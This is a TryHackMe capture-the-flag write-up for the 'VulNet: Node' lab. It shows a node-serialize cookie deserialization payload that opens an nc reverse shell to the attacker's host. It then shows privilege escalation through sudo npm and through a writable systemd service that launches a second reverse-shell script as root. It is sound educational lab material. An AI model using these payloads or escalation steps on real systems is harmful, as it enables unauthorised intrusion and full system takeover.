TryHackMe: VulNet: Node

TryHackMe: Vulnet: node by TheCyb3rW0lf

VulnNet Entertainment has moved its infrastructure and now they're confident that no breach will happen again. You're tasked to prove otherwise and penetrate their network.

Difficulty: Easy
Web Language: JavaScript

This is again an attempt to recreate some more realistic scenario but with techniques packed into a single machine. Good luck!

Author: TheCyb3rW0lf
Discord: TheCyb3rW0lf#8594

Icon made by Freepik from www.flaticon.com

Enumeration

Let's add an entry to /etc/hosts and run our usual rustscan

─⠠⠵ rustscan -a  10.10.31.164  --ulimit 10000 -- -sC -sV -oA vulnode -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/home/tony/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.31.164:8080
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-28 23:08 BST
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 0.00s elapsed
Initiating Ping Scan at 23:08
Scanning 10.10.31.164 [2 ports]
Completed Ping Scan at 23:08, 0.03s elapsed (1 total hosts)
Initiating Connect Scan at 23:08
Scanning vulnode (10.10.31.164) [1 port]
Discovered open port 8080/tcp on 10.10.31.164
Completed Connect Scan at 23:08, 0.03s elapsed (1 total ports)
Initiating Service scan at 23:08
Scanning 1 service on vulnode (10.10.31.164)
Completed Service scan at 23:08, 6.96s elapsed (1 service on 1 host)
NSE: Script scanning 10.10.31.164.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 1.34s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 0.25s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 0.00s elapsed
Nmap scan report for vulnode (10.10.31.164)
Host is up, received conn-refused (0.031s latency).
Scanned at 2021-03-28 23:08:26 BST for 8s

PORT     STATE SERVICE REASON  VERSION
8080/tcp open  http    syn-ack Node.js Express framework
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: VulnNet – Your reliable news source – Try Now!

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.19 seconds

Ok so we only have 1 open port 8080 which looks to be a node.js webserver...

We have a login page at http://vulnode.thm:8080/login

Looking at the request made when logging we see it is a GET request so the chances are this is not a login form.

All the links on the main page appear to be anchor links # so nothing else to browse around. Let's kick off a gobuster and see what we find....

╰─⠠⠵ gobuster dir -u http://vulnode.thm:8080/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,bak,db,sqlite,zip,gz,tar.gz,tar,php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://vulnode.thm:8080/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              sqlite,php,bak,db,gz,tar.gz,tar,txt,zip
[+] Timeout:                 10s
===============================================================
2021/03/28 23:19:59 Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 173] [--> /img/]
/login                (Status: 200) [Size: 2127] 

What is the user flag? (user.txt)

Unfortunately gobuster does not bring anything back so I start digging around the source code and developer tools and see we have cookie set

session: eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiaXNHdWVzdCI6dHJ1ZSwiZW5jb2RpbmciOiAidXRmLTgifQ%3D%3D

Decoding this with base64 we get

{"username":"Guest","isGuest":true,"encoding": "utf-8"} ÃÜ

Let's try changing this to Admin and isGuest to false

eyJ1c2VybmFtZSI6IkFkbWluIiwiaXNHdWVzdCI6ZmFsc2UsImVuY29kaW5nIjogInV0Zi04In0Kw9w=

Oops that cause an error...

SyntaxError: Unexpected token � in JSON at position 57
    at JSON.parse (<anonymous>)
    at Object.exports.unserialize (/home/www/VulnNet-Node/node_modules/node-serialize/lib/serialize.js:62:16)
    at /home/www/VulnNet-Node/server.js:16:24
    at Layer.handle [as handle_request] (/home/www/VulnNet-Node/node_modules/express/lib/router/layer.js:95:5)
    at next (/home/www/VulnNet-Node/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/home/www/VulnNet-Node/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/home/www/VulnNet-Node/node_modules/express/lib/router/layer.js:95:5)
    at /home/www/VulnNet-Node/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/home/www/VulnNet-Node/node_modules/express/lib/router/index.js:335:12)
    at next (/home/www/VulnNet-Node/node_modules/express/lib/router/index.js:275:10)

Hmmm although not what we intended to do this gives us some information. We can see it is trying deserialize the cookie that we provide. If we {Insert search engine verb here} nodejs deserialization exploit we can find some exploits. Eventually I come up with payload

{"username":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.0.7 4444 >/tmp/f')}()","isGuest":false,"encoding": "utf-8"}

which we then need to base64 encode

eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbiAoKXtcbiBcdCByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygncm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuOS4wLjcgNDQ0NCA+L3RtcC9mJyl9KCkiLCJpc0d1ZXN0IjpmYWxzZSwiZW5jb2RpbmciOiAidXRmLTgifQ==

Once we send this cookie we get a shell back...

╰─⠠⠵ nc -lvnp 4444     
Listening on 0.0.0.0 4444
Connection received on 10.10.31.164 58512
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www

After doing our usual trick to get a stable pty shell we run sudo -l

www@vulnnet-node:~$ sudo -l
Matching Defaults entries for www on vulnnet-node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www may run the following commands on vulnnet-node:
    (serv-manage) NOPASSWD: /usr/bin/npm

Check GTFObins for npm we can see a way to get a shell.

TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
chmod 777 /tmp/tmp* -R
sudo -u serv-manage npm -C $TF --unsafe-perm i

> @ preinstall /tmp/tmp.3RJOhRhwAQ
> /bin/sh

$ id
uid=1000(serv-manage) gid=1000(serv-manage) groups=1000(serv-manage)

Note: I had to use the chmod otherwise serv-manage does not have permission to access the package.

We can then grab the flag from /home/serv-manage/user.txt

$ cat user.txt
THM{[REDACTED]}

Answer: THM{[REDACTED]}

What is the root flag? (root.txt)

Ok, so let's get a pty shell and look at sudo -l again.

Matching Defaults entries for serv-manage on vulnnet-node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User serv-manage may run the following commands on vulnnet-node:
    (root) NOPASSWD: /bin/systemctl start vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl stop vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl daemon-reload

Looks like we can start/stop/reload some things, looking at the permissions on vulnnet-auto.timer it looks like we have write access

serv-manage@vulnnet-node:~$ ls -l /etc/systemd/system/vulnnet-auto.timer
-rw-rw-r-- 1 root serv-manage 167 Jan 24 16:59 /etc/systemd/system/vulnnet-auto.timer

Checking this timer out we see a service file being called

[Unit]
Description=Run VulnNet utilities every 30 min

[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/30
Unit=vulnnet-job.service

[Install]
WantedBy=basic.target

Again checking this we see we have write access

serv-manage@vulnnet-node:~$ ls -l /etc/systemd/system/vulnnet-job.service
-rw-rw-r-- 1 root serv-manage 197 Jan 24 21:40 /etc/systemd/system/vulnnet-job.service

Let's take a look....

[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/df

[Install]
WantedBy=multi-user.target

Ok so this is calling /bin/df each time it runs, lets change this to run a file we create

#!/bin/bash
rm /tmp/g;mkfifo /tmp/g;cat /tmp/g|/bin/sh -i 2>&1|nc 10.9.0.7 4445 >/tmp/g 

Then change our service file to the below.

[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
ExecStart=/tmp/shell

[Install]
WantedBy=multi-user.target

Now let's stop and start the timer

serv-manage@vulnnet-node:~$ sudo /bin/systemctl stop vulnnet-auto.timer
serv-manage@vulnnet-node:~$ sudo /bin/systemctl start vulnnet-auto.timer

On our listener we now get a shell back

╰─⠠⠵ nc -lvnp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.31.164 60676
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt
THM{[REDACTED]}

Answer: THM{[REDACTED]}

Boom, done!

Another room done, not had to do any serialisation for a while so took a bit to figure out the payload. All in all it was fun a room.